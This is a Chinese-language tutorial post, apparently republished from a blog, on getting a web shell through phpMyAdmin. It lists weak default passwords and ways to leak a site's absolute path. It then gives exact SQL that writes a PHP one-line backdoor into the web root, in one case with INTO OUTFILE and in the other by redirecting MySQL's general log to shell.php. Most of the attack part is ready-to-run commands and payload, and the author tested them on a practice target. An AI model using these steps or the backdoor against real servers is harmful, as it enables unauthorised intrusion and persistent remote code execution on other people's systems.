phpMyAdmin拿shell的两种方法
Posted 冰封
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了phpMyAdmin拿shell的两种方法相关的知识,希望对你有一定的参考价值。
一.phpMyAdmin用户名和密码
1.如何获取phpMyAdmin用户名和密码:
弱口令
root/root
root/空密码
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
sql注入
等等
2.网站绝对路径,如何获取网站的绝对路径呢?
单引号爆绝对路径
xx.asp?id=1’
错误参数值爆绝对路径
xx.asp?id=-1
搜索引擎搜索绝对路径
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
测试文件获取绝对路径
phpinfo.php
test.php
ceshi.php
info.php
php_info.php
等等
二.Phpmyadmin拿shell的两种方法
1.低版本mysql
Mysql低于5.0,可以直接通过outfile写入:
SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE \'/网站绝对路径/shell.php\'
2.高版本Mysql
(1)通过以下SQL语句可以查询secure_file_priv(secure-file-priv是全局变量,指定文件夹作为导出文件存放的地方,这个值是只读的)是否为null:
show variables like \'%secure%\'
从下图可以看到我的靶机secure_file_priv值为null:
(2)通过以下SQL语句可以查询到日志保存状态(ON代表开启 OFF代表关闭)和日志的保存路径:
show variables like \'%general%\'
从下图可以看到我的靶机是关闭日志保存的,还有日志保存的路径在哪:
(3)因此通过以下SQL语句修改general_log的值,开启日志保存:
set global general_log=\'on\';
(4)通过以下SQL语句修改日志保存的路径(general_log_file值):
SET global general_log_file=\'<网站绝对路径>/shell.php\'
(5)再次执行以下SQL语句,查询是否成功更改:
show variables like \'%general%\'
从下图可以看到,成功通过SQL语句修改成功了:
(6)执行以下SQL语句,以下SQL语句将会被写入到日志文件(shell.php)中:
SELECT \'<?php @assert($_REQUEST["admin"]);?>\';
从下图可以看到一句话木马写入了日志文件中: 通过URL访问,成功被执行了! 图片
(7)通过URL访问,成功被执行了!
以上是关于phpMyAdmin拿shell的两种方法的主要内容,如果未能解决你的问题,请参考以下文章